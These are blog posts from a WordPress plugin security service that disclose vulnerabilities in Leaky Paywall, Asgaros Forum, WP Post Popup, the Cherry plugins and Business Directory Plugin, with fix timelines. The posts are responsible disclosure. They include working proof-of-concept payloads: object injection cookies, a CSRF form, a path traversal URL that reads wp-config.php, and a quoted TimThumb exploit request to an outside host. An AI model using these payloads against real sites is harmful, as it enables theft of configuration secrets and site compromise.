17 Aug

PHP Object Injection Vulnerability in Leaky Paywall

We recently started proactively monitoring for evidence of some high risk vulnerabilities when changes are made to WordPress plugins and if we had more customers we could expand the proactive monitoring to more types of vulnerabilities. One of the types of vulnerabilities we are looking for are PHP object injection vulnerabilities since those are likely to be exploited if hackers become aware of them. Through that we came across a PHP object injection vulnerability in the plugin Leaky Paywall, which permits implementing a paywall on a website.

That a plugin used for business purposes has a serious vulnerability is all too common in our experience and is good reminder of the value of getting a security review of plugins that business can make a lot of sense. Through our service, paying customers can suggest and vote for plugins to have a review done. We also recently introduced the option to purchase the same type of review for a plugin of your choice.

The plugin makes the function process_cookie_requests() available through WordPress AJAX functionality whether the request comes from someone that is logged in to WordPress or not (/include/class-restrictions.php):

11
12
add_action( 'wp_ajax_nopriv_leaky_paywall_process_cookie', array( $this, 'process_cookie_requests' ) );
add_action( 'wp_ajax_leaky_paywall_process_cookie', array( $this, 'process_cookie_requests' ) );

In the process_cookie_requests() function, if the cookie “issuem_lp” exists its value would be unserialized, which permits PHP object to occur:

59
60
61
if ( !empty( $_COOKIE['issuem_lp'] ) ) {
	$available_content = maybe_unserialize( stripslashes( $_COOKIE['issuem_lp'] ) );
}

There was similar code in the function process_requests() in the file /class.php, which may also be vulnerable.

After we notified the developer of the issue they released version 4.9.2, which resolves the vulnerability by replacing the usage serialization and unserialization with JSON encoding and decoding.

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, set the value of the cookie “issuem_lp” to “O:20:”php_object_injection”:0:{}” and then when you visit the following URL  the message “PHP object injection has occurred.” will be shown.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[valid post ID]” with the ID number of a valid post.

http://[path to WordPress]/wp-admin/admin-ajax.php?action=leaky_paywall_process_cookie&post_id=[valid post ID]

Timeline

  • August 10, 2017 – Developer notified.
  • August 15, 2017 – Developer responds.
  • August 17, 2017 – Version 4.9.2 released, which fixes vulnerability.
16 Aug

Settings Change Vulnerability in Asgaros Forum

One of the ways we make sure we have the best data on vulnerabilities in WordPress plugins is by monitoring the WordPress Support Forum for threads possibly related to those. Through that today we ran across a thread started earlier today that seemed to indicate malicious .php files were being uploaded through the Asgaros Forum plugin.

Looking over the plugin we found that the plugin’s settings would not normally allow that, but one of the posts in thread pointed to how it was occurring:

In addition to writing the specified file (which was destroyed by the antivirus server) the forum flew settings to permit all and all, as well as the skin fell back to the default. The impression that the settings were simply overwritten.

It sounded like the attacker was changing the plugin’s settings and then uploading files. We then went to see how the changing of the plugin’s settings was handled. What we found was that as of version 1.5.7 anyone could change the plugin’s settings.

The plugin registers the function save_settings() to run during admin_init (in the file /admin/admin.php):

11
add_action('admin_init', array($this, 'save_settings'));

That will cause it to run when visiting certain pages even if you are not logged in to WordPress.

The save_settings() function would then cause the function save_options() to run if the POST input “af_options_submit” exists:

104
105
106
function save_settings() {
	if (isset($_POST['af_options_submit'])) {
		$this->save_options();

The save_options() function does not do any checks before beginning to save the settings:

140
141
142
143
144
145
function save_options() {
	global $asgarosforum;
	$saved_ops = array();
 
	foreach ($asgarosforum->options_default as $k => $v) {
		if (isset($_POST[$k])) {

So anyone one could change the plugin’s setting by simply sending a request to a page where admin_init occurs.

At the same time we were notifying the developer of our findings they released version 1.5.8, which added a capabilities check before save_options() runs:

122
123
124
125
126
function save_settings() {
	// Only save changes when the user is an administrator.
	if (current_user_can('manage_options')) {
		if (isset($_POST['af_options_submit'])) {
			$this->save_options();

That prevents someone not logged in as Administrator from changing the settings since normally only Administrators have the manage_options capability.

With that change the saving of the settings is still susceptible to cross-site request forgery (CSRF), which means than an attacker could cause a logged in Administrator to changes the plugin’s settings unintentionally. That is less lot less likely to be exploited than the ability for anyone to change the settings, but still should be protected against and we let the developer know about that when we first contacted them and in our reply after they let us know that they had release version 1.5.8.

Proof of Concept

The following proof of concept will cause the “Senders name” in the settings to “settings changed”

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-post.php" method="POST">
<input type="hidden" name="notification_sender_name" value="settings changed" />
<input type="submit" name="af_options_submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • August 16, 2017 – Developer notified.
  • August 16, 2017 – Version 1.5.8 released, which fixes the non-CSRF settings change vulnerability.
  • August 16, 2017 – Vulnerability added to free data that comes with our service’s companion plugin.
  • <

  • August 17, 2017 – Version 1.5.9 released, which fixes CSRF vulnerability.
11 Aug

Wordfence Unnecessarily Scares Public by Including Non-Existent Threat Against Plugin in Their WordPress Attack Report

Unfortunately much of the security industry doesn’t seem to have interest in being responsible when it comes to security information they put out, instead they throw out information without regards to accuracy, often causing the public to be concerned about non-threats (while real threats go under focused).

A case in point of this is something we just looked into involving Wordfence and their The July 2017 WordPress Attack Report. The report is rather inaccurate, for example there is a whole section on brute force attacks, despite those not occurring. But what brought our attention to the report was a thread on the WordPress Support Forum that came up in our monitoring of that for mentions of vulnerabilities in plugins. The person that started the thread had deactivated the plugin WP-PageNavi due Wordfence’s claim about the plugin in the report:

We looked into the details of the biggest mover on the list, ‘wp-pagenavi’, which moved up 38 spots to number 11. The surge in attacks are attempting to exploit the TimThumb vulnerability we discussed in the theme section. We couldn’t find reference to the plugin including TimThumb, but given that the TimThumb vulnerability in question is over 5 years old now it would be difficult to say for sure.

We don’t understand why Wordfence is saying that it would be difficult to say if the plugin used TimThumb, seeing as the plugin is available in the Plugin Directory and therefore all the versions that have been available through that are still viewable through the Subversion repository that stores the plugins. This certainly wouldn’t even be the first recent instance where Wordfence didn’t appear to have done proper due diligence before making a claim.

The developer of the plugin responded in the thread this way:

It is a popular plugin and I am not surprised. The plugin has NEVER use TimThumb before and as far as I know, there is no vulnerability being reported to me.

In looking at the logs of several our website going back through the beginning of July we saw 0 requests for anything files from that plugin. If there was a large scale attempt to exploit something in that plugin there would have been, as there has been for every other large scale attempt to exploit a plugin in at least the recent past. So it looks like their list of the most exploited plugins is including many things that are not receiving significant exploitation attempts (considering that based on past experience Wordfence isn’t even aware of many plugin vulnerabilities that are being targeted they probably are missing vulnerabilities that should be listed).

Looking at one of the websites we monitor to help keep track of what plugin vulnerabilities are being targeted, abuseipdb.com, we found the start of what might explain what is going on here. One of the pages on that website showed a request to a file within the directory of WP-PageNavi that happened in May:

/wp-content/plugins/wp-pagenavi/inc/thumb.php?src=http://blogger.comxvas.ml/s.php

That file hasn’t actually existed in WP-PageNavi though. So why send a request there? One explanation could be that a hacker plants a backdoor file in that location on hacked websites and someone was sending a request hoping the file was there. In this case though that seems unlikely because it does look like an attempt to exploit the vulnerability that had existed years ago in the TimThumb script.

Doing a search for “/wp-pagenavi/inc/thumb.php” for brought us to a page that lists location where the TimThumb script was supposed to have been in various software. It lists multiple locations in this plugin:

wp-plugins/wp-pagenavi/functions/thumb.php
wp-plugins/wp-pagenavi/functions/timthumb.php
wp-plugins/wp-pagenavi/inc/thumb.php
wp-plugins/wp-pagenavi/inc/timthumb.php
wp-plugins/wp-pagenavi/scripts/thumb.php
wp-plugins/wp-pagenavi/scripts/timthumb.php
wp-plugins/wp-pagenavi/thumb.php
wp-plugins/wp-pagenavi/timthumb.php
wp-plugins/wp-pagenavi/timthumb.phptimthumb.php

The directory structure there isn’t even right in that (it should start “wp-content/plugins”) and the TimThumb file wouldn’t be in all those locations in a plugin, but it does point to there having been a belief that the TimThumb script had been in this plugin.

So what looks to be going on here is that Wordfence is seeing attempts to exploit a vulnerability that hasn’t really existed (those are not all that uncommon) and they either don’t understand that or don’t care and included it in their data. That leads to people reading their report to falsely think that there has been a vulnerability that is being targeted by hackers in the plugin WP-PageNavi, when there hasn’t. Assuming that is true, Wordfence is being highly irresponsible here and they should stop putting out those reports until they can take the time to put out accurate information because as thread on WordPress Support Forum show this misleading data is causing the public to take unneeded action.

11 Aug

Vulnerability Details: Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Simba Plugins Manager

From time to time a vulnerability is fixed in a plugin without the discoverer putting out a report on the vulnerability and we will put out a post detailing the vulnerability so that we can provide our customers with more complete information on the vulnerability.

One of the changelog entries for version 1.6.17 of Simba Plugins Manager is:

SECURITY: Various actions were not protected by ...


To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

11 Aug

Arbitrary File Viewing Vulnerability in WP Post Popup

We recently started proactively monitoring for evidence of some high risk vulnerabilities when changes are made to WordPress plugins and if we had more customers we could expand the proactive monitoring to more types of vulnerabilities. For the first time we have found an arbitrary file viewing vulnerability through this, which is  a type of vulnerability that is up there with the most likely to have exploit attempts. What is concerning about the vulnerability we found in the plugin WP Post Popup is how obvious the issue is and yet it had yet to be noticed.

In the file /public/includes/proxy.php the first code was:

15
16
if (isset($_GET['url'])) {
    echo file_get_contents($_GET['url']);

That code takes the value of the GET input “url”, passes it to the function file_get_contents(), and echo’s the result. So with that you can view the contents of any file on the website. Hackers would normally exploit that to the view the contents of the WordPress configuration file, wp-config.php file.

In addition to being able to be used for arbitrary file viewing, the vulnerability could be used for cross-site scripting (XSS) since file_get_contents() can also get the contents of URLs ” if the fopen wrappers have been enabled”.

We notified the developer and several hours later the vulnerability was resolved by removing that file and changing how the relevant functionality is handled.

Proof of Concept

The following proof of concept will display the contents of the WordPress configuration file, wp-config.php.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-content/plugins/wp-post-modal/public/includes/proxy.php?url=../../../../../wp-config.php

Timeline

  • August 10, 2017 – Developer notified.
  • August 10, 2017 – Developer responds.
  • August 10, 2017 – Version 2.0.1 released, which fixes vulnerability.
09 Aug

Authenticated Information Disclosure Vulnerability in Cherry Team Members

The plugin Cherry Team Members had the same authenticated information disclosure that the Cherry Services List had. The vulnerability was caused by the fact that  contributor and author level users could duplicate posts that they would not have been able to edit. That could for example, have allowed them to gain access to the contents of password protected posts.

The plugin makes the function duplicate_post_as_draft() available to anyone logged in through the admin_action action (in the file /admin/includes/class-cherry-team-admin-columns.php):

41
add_action( 'admin_action_cherry_team_clone_post', array( $this, 'duplicate_post_as_draft' ) );

The only restriction that the plugin placed on accessing that function’s code and duplicating a post as of version 1.4.1 is that the user has the edit_posts capability, which is normally possessed by contributor level and above users:

84
85
86
87
88
function duplicate_post_as_draft() {
 
	if ( ! current_user_can( 'edit_posts' ) ) {
		wp_die( 'You don\'t have permissions to do this' );
	}

After we notified the developer of the plugin of the issue, version 1.4.2 was released, which fixes the vulnerability by checking if the user has the capability to edit the post being duplicated:

102
103
104
if ( ! current_user_can( 'edit_post', $_REQUEST['post'] ) ) {
	wp_die( 'You don\'t have permissions to do this' );
}

Proof of Concept

Log in to WordPress as a contributor-level user and visiting the following URL, with the value of “[path to WordPress]” replaced with the location of WordPress and  “[post ID]” replaced with the value of a password protected post on the website:

http://[path to WordPress]/wp-admin/admin.php?action=cherry_team_clone_post&post=[post ID]

Timeline

  • August 8, 2017 –  Developer notified.
  • August 9. 2017 – Version 1.4.2 released, which fixes vulnerability.
09 Aug

Authenticated Information Disclosure Vulnerability in Cherry Services List

While looking into a possible expansion of what we check during our security review of WordPress plugins  chosen by our customers we found that the plugin Cherry Services List had an authenticated information disclosure vulnerability. That was caused by the fact that contributor and author level users could duplicate posts that they would not have been able to edit. That could for example, have allowed them to gain access to the contents of password protected posts.

The plugin makes the function duplicate_post_as_draft() available to anyone logged in through the admin_action action (in the file /admin/includes/class-cherry-services-meta.php):

41
add_action( 'admin_action_cherry_services_clone_post', array( $this, 'duplicate_post_as_draft' ) );

The only restriction that the plugin placed on accessing that function’s code and duplicating a post as of version 1.4.1 is that the user has the edit_posts capability, which is normally possessed by contributor level and above users:

85
86
87
88
89
function duplicate_post_as_draft() {
 
	if ( ! current_user_can( 'edit_posts' ) ) {
		wp_die( __( 'You don\'t have permissions to do this', 'cherry-services' ) );
	}

After we notified the developer of the plugin of the issue, version 1.4.2 was released, which fixes the vulnerability by checking if the user has the capability to edit the post being duplicated:

104
105
106
if ( ! current_user_can( 'edit_post', $_REQUEST['post'] ) ) {
	wp_die( 'You don\'t have permissions to do this!', 'cherry-services' );
}

Proof of Concept

Log in to WordPress as a contributor-level user and visiting the following URL, with the value of “[path to WordPress]” replaced with the location of WordPress and  “[post ID]” replaced with the value of a password protected post on the website:

http://[path to WordPress]/wp-admin/admin.php?action=cherry_services_clone_post&post=[post ID]

Timeline

  • August 8, 2017 –  Developer notified.
  • August 9. 2017 – Version 1.4.2 released, which fixes vulnerability.
07 Aug

WordPress Plugin Security Review: wpDataTables Lite

For our thirteenth security review of a plugin based on the voting of our customers, we reviewed the plugin wpDataTables Lite.

If you are not yet a customer of the service you can currently try it free for your first month and then start suggesting and voting on plugins to get security reviews after your first payment for the service. For those already using the service that haven’t already suggested and voted for plugins you can start doing that here.

The review was done on version Lite 1.2.2 of wpDataTables Lite. We checked for the following issues:

  • Insecure file upload handling (this is the cause of the most exploited type of vulnerability, arbitrary file upload)
  • Deserialization of untrusted data
  • Security issues with functions accessible through WordPress’ AJAX functionality (those are a common source of disclosed vulnerabilities these days)
  • Persistent cross-site scripting (XSS) vulnerabilities in publicly accessible portions of the plugin
  • Cross-site request forgery (CSRF) vulnerabilities in the admin portion of plugins
  • SQL injection vulnerabilities (the code that handles requests to the database)
  • Reflected cross-site scripting (XSS) vulnerabilities
  • Lack of protection against unintended direct access of PHP files
  • Insecure and unwarranted requests to third-party websites

Results

We found several vulnerabilities and an additional minor security issue. After notifying the developer of those issues, they have, for the most part, been resolved in version 1.2.3.

Cross-Site Request Forgery (CSRF) Vulnerability

The plugin functionality for deleting one of its tables lacked protection against cross-site request forgery (CRSF). That was fixed in version 1.2.3

SQL Injection Issues

That CSRF vulnerability also allowed for SQL injection. Here is how the function that does the deleting looks as of version 1.2.2:

function wpdatatables_delete_table( $id ){
    global $wpdb;
    if( empty( $id ) || !current_user_can('manage_options') ){ return false; }
 
    $wpdb->query("DELETE
									FROM {$wpdb->prefix}wpdatatables
									WHERE id={$id}");
    $wpdb->query("DELETE
									FROM {$wpdb->prefix}wpdatatables_columns
									WHERE table_id={$id}");
    $wpdb->query("DELETE
									FROM {$wpdb->prefix}wpdatacharts
									WHERE wpdatatable_id={$id}");
}

The SQL statement there lacks protection against SQL injection, either through the user of prepared statement or less ideally sanitization or validation.

The value of $id used in the statement comes from the following code:

$id = $_REQUEST['table_id'];
 
if (!is_array($id)) {
 
	wpdatatables_delete_table( $id );
} else {
	foreach ($id as $single_id) {
 
		wpdatatables_delete_table( $single_id );

Which passes user input to the function without sanitization or validation either.

There are a number of other locations in the code where the plugin has lacked proper security for SQL statements. The other one that we found vulnerable was the function wdt_get_table_by_id():

function wdt_get_table_by_id( $table_id ){
	global $wpdb;
 
	do_action( 'wpdatatables_before_get_table_metadata', $table_id );
 
	$query = "SELECT *
	  				FROM {$wpdb->prefix}wpdatatables
	  				WHERE id={$table_id}";

One of the avenues for getting to that function is through the function wpdatatable_shortcode_handler(), which as the name suggest handles the plugin’s shortcode. It is possible for any logged in user to access most shortcode’s through WordPress’ AJAX functionality, so those should be a check to make sure the user should have access as well as proper security surrounding of any user input that came come through that. In this case the code lacked either of those, passing an unsantized and unvalidated user input to the function wdt_get_table_by_id():

function wpdatatable_shortcode_handler( $atts, $content = null ) {
	global $wpdb, $wdt_var1, $wdt_var2, $wdt_var3, $wdt_export_file_name;
 
	extract( shortcode_atts( array(
		'id' => '0',
		'show_only_chart' => false,
		'no_scripts' => 0,
		'var1' => '%%no_val%%',
		'var2' => '%%no_val%%',
		'var3' => '%%no_val%%',
		'export_file_name' => '%%no_val%%',
		'table_view' => 'regular'
	), $atts ) );
 
	// Protection
	if(!$id){ return false; }
	$table_data = wdt_get_table_by_id( $id );

The SQL statement in the function wdt_get_table_by_id() was parameterized in version 1.2.3.

Lack of Protection Against Direct Access to Files

The plugin’s .php files lacked code at the beginning of the files to restrict direct access to them.  We didn’t see anything that could be exploited in the files without the restriction in place. Code to protect against that was added to many files in version 1.2.3.

02 Aug

Authenticated PHP Object Injection Vulnerability in Business Directory Plugin

We recently started proactively monitoring for evidence of some high risk vulnerabilities when changes are made to WordPress plugins and if we had more customers we could expand the proactive monitoring to more types of vulnerabilities. One of the types of vulnerabilities we are looking for are PHP object injection vulnerabilities since those are likely to be exploited if hackers become aware of them (unlike other types of vulnerabilities that security companies are known to overstate the impact of). Through that we came across an authenticated PHP object injection vulnerability in the plugin Business Directory Plugin.

The plugin makes the function ajax_csv_export() available to anyone logged in to WordPress through WordPress’ AJAX functionality (in the file /includes/admin/csv-export.php):

13
add_action( 'wp_ajax_wpbdp-csv-export', array( &$this, 'ajax_csv_export' ) );

This plugin requires user registration by default for a major piece of its functionality, so it is likely that fair number of the websites using it would allow untrusted individuals to create accounts.

As of version 4.1.14 that function would unserialize the value of the GET or POST input “state”, which can cause PHP object injection:

30
31
32
33
34
35
36
37
public function ajax_csv_export() {
	$error = '';
 
	try {
		if ( !isset( $_REQUEST['state'] ) ) {
			$export = new WPBDP_CSVExporter( array_merge( $_REQUEST['settings'], array() ) );
		} else {
			$export = WPBDP_CSVExporter::from_state( unserialize( base64_decode( $_REQUEST['state'] ) ) );

After we notified the developer of the issue they released version 4.1.14.1, which fixes the vulnerability by replacing the usage of the function unserialize() with json_decode() (and replaces the related usage of the serialize() with json_encode() elsewhere). They also added a restriction to limit access to the function to those logged in as Administrators:

30
31
32
33
34
35
36
37
38
39
40
41
public function ajax_csv_export() {
	if ( ! current_user_can( 'administrator' ) ) {
		exit();
	}
 
	$error = '';
 
	try {
		if ( ! isset( $_REQUEST['state'] ) ) {
			$export = new WPBDP_CSVExporter( array_merge( $_REQUEST['settings'], array() ) );
		} else {
			$state  = json_decode( base64_decode( $_REQUEST['state'] ), true );

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, visiting the following URL while logged in to WordPress will cause the message “PHP object injection has occurred.” to be shown.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin-ajax.php?action=wpbdp-csv-export&state=TzoyMDoicGhwX29iamVjdF9pbmplY3Rpb24iOjA6e30=

Timeline

  • July 31, 2017 – Developer notified.
  • August 2, 2017 – Version 4.1.14.1 released, which fixes vulnerability.
01 Aug

What Happened With WordPress Plugin Vulnerabilities in July 2017

If you want the best information and therefore best protection against vulnerabilities in WordPress plugins we provide you that through our service.

Here is what we did to keep those are already using our service secure from WordPress plugin vulnerabilities during July (and what you have been missing out on if you haven’t signed up yet):

Plugin Security Reviews

Customers of the service can suggest and vote on plugins to have a security review done by us. This month we released details for a review of:

Plugin Vulnerabilities We Discovered and Publicly Disclosed This Month

We don’t just collect data on vulnerabilities in plugins that others have discovered, we also discover vulnerabilities while monitoring hackers activity, reviewing other vulnerabilities, and by doing additional checking on the security of plugins.

This month the most concerning vulnerability is a PHP object injection vulnerability in Product Reviews, since that type of vulnerability is likely to be exploited and the vulnerability hasn’t been fixed yet.

Plugin Vulnerabilities We Helped Get Fixed This Month

Letting you know that you are using a vulnerable version of plugin is useful, but it is much more useful if you can fully protect yourself by simple updating to a new version. So we work with plugin developers to make sure that vulnerabilities get fixed. This month we helped to get vulnerabilities fixed in plugins that have 702,300+ active installs:

Plugin Vulnerabilities Added This Month That Are In The Current Version of the Plugins

Keeping your plugins up to date isn’t enough to keep you secure as these vulnerabilities in the current versions of plugins show:

Additional Vulnerabilities Added This Month

As usual, there were plenty of other vulnerabilities that we added to our data during the month. Most of the new vulnerabilities that were fixed this month are relatively minor.